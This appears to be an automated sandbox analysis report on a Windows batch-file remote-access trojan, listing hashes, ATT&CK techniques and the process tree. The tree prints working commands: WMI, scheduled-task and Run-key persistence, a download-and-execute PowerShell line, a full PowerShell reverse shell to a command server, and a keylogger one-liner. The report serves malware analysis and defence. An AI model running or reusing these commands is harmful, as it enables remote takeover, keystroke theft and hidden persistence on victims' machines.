f4f604291749aa05ba14a1e58e8edddb55870f15356f5c94850699169fe66b3d

Analysis

max time kernel
149s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
29/05/2026, 22:22

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General

Target
rat_build_54235_014218.bat
Size 4KB
Sample260529-2ablwsaw9w
SHA256 f4f604291749aa05ba14a1e58e8edddb55870f15356f5c94850699169fe66b3d
MD5 8d84ddf4f86dc89ffb7bcd97460eaf5d
SHA1 7e2cd0912da08c4ab122fb94683ed6718e522b52
SHA512 a32bc8e8b7b3cdb939142c3497d8b7f93152a61d48a8f5fca0157c6fd8e7da5727292818e6cca095e65695af8f53ef0ca9624364e65eef25c2d52643210931e2
SSDEEP 96:lSIvcW/hINP/wzOOYX31U7fXm71UV9B8/HL8F7gNlNriFgZk8mvlo1Bzw:lSG/hIFyvE3S7Vm/47oiFgkHlMzw
TLSH
T148A108272766722094B05A5CE9323C88539CE6F71746CE9DFF4CCCD90A0D903992CAEB
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution persistence

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://payload.server/update_54235.ps1

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4832	powershell.exe
1056	powershell.exe
4592	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Updater_54235 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\_54235.bat"	reg.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
5	checkip.amazonaws.com

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
2972	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
1992	systeminfo.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
1688	reg.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3700	schtasks.exe

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
4832	powershell.exe
4832	powershell.exe
4832	powershell.exe
1056	powershell.exe
1056	powershell.exe
1056	powershell.exe
4592	powershell.exe
4592	powershell.exe
4592	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	552	WMIC.exe
Token: SeSecurityPrivilege	552	WMIC.exe
Token: SeTakeOwnershipPrivilege	552	WMIC.exe
Token: SeLoadDriverPrivilege	552	WMIC.exe
Token: SeSystemProfilePrivilege	552	WMIC.exe
Token: SeSystemtimePrivilege	552	WMIC.exe
Token: SeProfSingleProcessPrivilege	552	WMIC.exe
Token: SeIncBasePriorityPrivilege	552	WMIC.exe
Token: SeCreatePagefilePrivilege	552	WMIC.exe
Token: SeBackupPrivilege	552	WMIC.exe
Token: SeRestorePrivilege	552	WMIC.exe
Token: SeShutdownPrivilege	552	WMIC.exe
Token: SeDebugPrivilege	552	WMIC.exe
Token: SeSystemEnvironmentPrivilege	552	WMIC.exe
Token: SeRemoteShutdownPrivilege	552	WMIC.exe
Token: SeUndockPrivilege	552	WMIC.exe
Token: SeManageVolumePrivilege	552	WMIC.exe
Token: 33	552	WMIC.exe
Token: 34	552	WMIC.exe
Token: 35	552	WMIC.exe
Token: 36	552	WMIC.exe
Token: SeIncreaseQuotaPrivilege	552	WMIC.exe
Token: SeSecurityPrivilege	552	WMIC.exe
Token: SeTakeOwnershipPrivilege	552	WMIC.exe
Token: SeLoadDriverPrivilege	552	WMIC.exe
Token: SeSystemProfilePrivilege	552	WMIC.exe
Token: SeSystemtimePrivilege	552	WMIC.exe
Token: SeProfSingleProcessPrivilege	552	WMIC.exe
Token: SeIncBasePriorityPrivilege	552	WMIC.exe
Token: SeCreatePagefilePrivilege	552	WMIC.exe
Token: SeBackupPrivilege	552	WMIC.exe
Token: SeRestorePrivilege	552	WMIC.exe
Token: SeShutdownPrivilege	552	WMIC.exe
Token: SeDebugPrivilege	552	WMIC.exe
Token: SeSystemEnvironmentPrivilege	552	WMIC.exe
Token: SeRemoteShutdownPrivilege	552	WMIC.exe
Token: SeUndockPrivilege	552	WMIC.exe
Token: SeManageVolumePrivilege	552	WMIC.exe
Token: 33	552	WMIC.exe
Token: 34	552	WMIC.exe
Token: 35	552	WMIC.exe
Token: 36	552	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4744	WMIC.exe
Token: SeSecurityPrivilege	4744	WMIC.exe
Token: SeTakeOwnershipPrivilege	4744	WMIC.exe
Token: SeLoadDriverPrivilege	4744	WMIC.exe
Token: SeSystemProfilePrivilege	4744	WMIC.exe
Token: SeSystemtimePrivilege	4744	WMIC.exe
Token: SeProfSingleProcessPrivilege	4744	WMIC.exe
Token: SeIncBasePriorityPrivilege	4744	WMIC.exe
Token: SeCreatePagefilePrivilege	4744	WMIC.exe
Token: SeBackupPrivilege	4744	WMIC.exe
Token: SeRestorePrivilege	4744	WMIC.exe
Token: SeShutdownPrivilege	4744	WMIC.exe
Token: SeDebugPrivilege	4744	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4744	WMIC.exe
Token: SeRemoteShutdownPrivilege	4744	WMIC.exe
Token: SeUndockPrivilege	4744	WMIC.exe
Token: SeManageVolumePrivilege	4744	WMIC.exe
Token: 33	4744	WMIC.exe
Token: 34	4744	WMIC.exe
Token: 35	4744	WMIC.exe
Token: 36	4744	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4744	WMIC.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 3812 wrote to memory of 3700	3812	cmd.exe	88
PID 3812 wrote to memory of 1688	3812	cmd.exe	90
PID 3812 wrote to memory of 552	3812	cmd.exe	91
PID 3812 wrote to memory of 4744	3812	cmd.exe	92
PID 3812 wrote to memory of 1160	3812	cmd.exe	94
PID 3812 wrote to memory of 1992	3812	cmd.exe	107
PID 3812 wrote to memory of 2972	3812	cmd.exe	110
PID 3812 wrote to memory of 4832	3812	cmd.exe	111
PID 3812 wrote to memory of 1056	3812	cmd.exe	112
PID 3812 wrote to memory of 4592	3812	cmd.exe	113

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rat_build_54235_014218.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:3812
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn "WinUpdate_54235" /tr "C:\Users\Admin\AppData\Local\Temp\_54235.bat" /sc onlogon /ru "SYSTEM" /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3700
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Updater_54235" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\_54235.bat" /f
  2⤵
  - Adds Run key to start application
  - Modifies registry key
  PID:1688
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="filt_54235", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:552
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="cons_54235", CommandLineTemplate="cmd /c C:\Users\Admin\AppData\Local\Temp\_54235.bat"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4744
- C:\Windows\system32\curl.exe
  curl -s http://checkip.amazonaws.com -o C:\Users\Admin\AppData\Local\Temp\ip_54235.txt
  2⤵
  PID:1160
- C:\Windows\system32\systeminfo.exe
  systeminfo
  2⤵
  - Gathers system information
  PID:1992
- C:\Windows\system32\NETSTAT.EXE
  netstat -an
  2⤵
  - Gathers network information
  PID:2972
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "IEX((New-Object Net.WebClient).DownloadString('http://payload.server/update_54235.ps1'))"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4832
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$client = New-Object System.Net.Sockets.TCPClient('c2.server.com',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1056
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$w=(New-Object -ComObject WScript.Shell).Popup("Updating...",0,"Windows",0+48);$k=New-Object -ComObject WScript.Shell;$k.Run("powershell -WindowStyle Hidden -Command "$d=[Environment]::GetFolderPath('Desktop');$i=0;while($true){$key=[Console]::ReadKey($true);$t=$key.Key.ToString();if($t -eq 'Enter'){$t='[ENTER]'};Add-Content -Path $d\log.txt -Value $t}"),0,true"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4592

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
MD5 2f57fde6b33e89a63cf0dfdd6e60a351
SHA1 445bf1b07223a04f8a159581a3d37d630273010f
SHA512 42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
TLSH
T15F51EE323375B1D8C9167F071E68198053BF4355EAA4AF1CB69C625EDD2640B9F222F3
MD5 SHA1 SHA512 TLSH

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 d7111ae4d4b97a9d5d99c79cec1df1858417a4f14ca8b8de0c7d714348c25477
MD5 4fe72b2809e53af1ca33c582d3c4ca4c
SHA1 5ca9778ce239be8279d2e1991eabd4ae04827e56
SHA512 455c103fc850fda2b49485b646f88afe844cdf84186110ee6e64e3cffe96128829097e72d225790c991cda12b05026fd7f82e65323bac724c3c7223a731a3404
TLSH
T1F7117627F39CC921CC96153A409DAD1172B683DB81AEDF9F6FC4D214A07F984CB712A4
MD5 SHA1 SHA512 TLSH

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 479e30aab9aea527f35a883f9d2564454c5da1b0b512e00442931eee6dd7b4a0
MD5 9b2bec72b86f9fd4436e8d351bc99cdd
SHA1 630726346b61fcc2329944c935413d9f75b0c9cb
SHA512 fdfa2395e0d8751aa13b8bb7fa4ab329f20445e435bb8b005083b3d86c5d8bd67977e74d3b8b6f31a4b1f4d52aeeafc8e568d2c21ede254f18f55c730821629e
TLSH
T1A6115727B39C89A1CC96153A409D9C1172B683D7409EDEDF6BC0D214A17F584CB61190
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_2bx432ge.tlp.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2bx432ge.tlp.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/4832-10-0x000001B3FF9B0000-0x000001B3FF9D2000-memory.dmp

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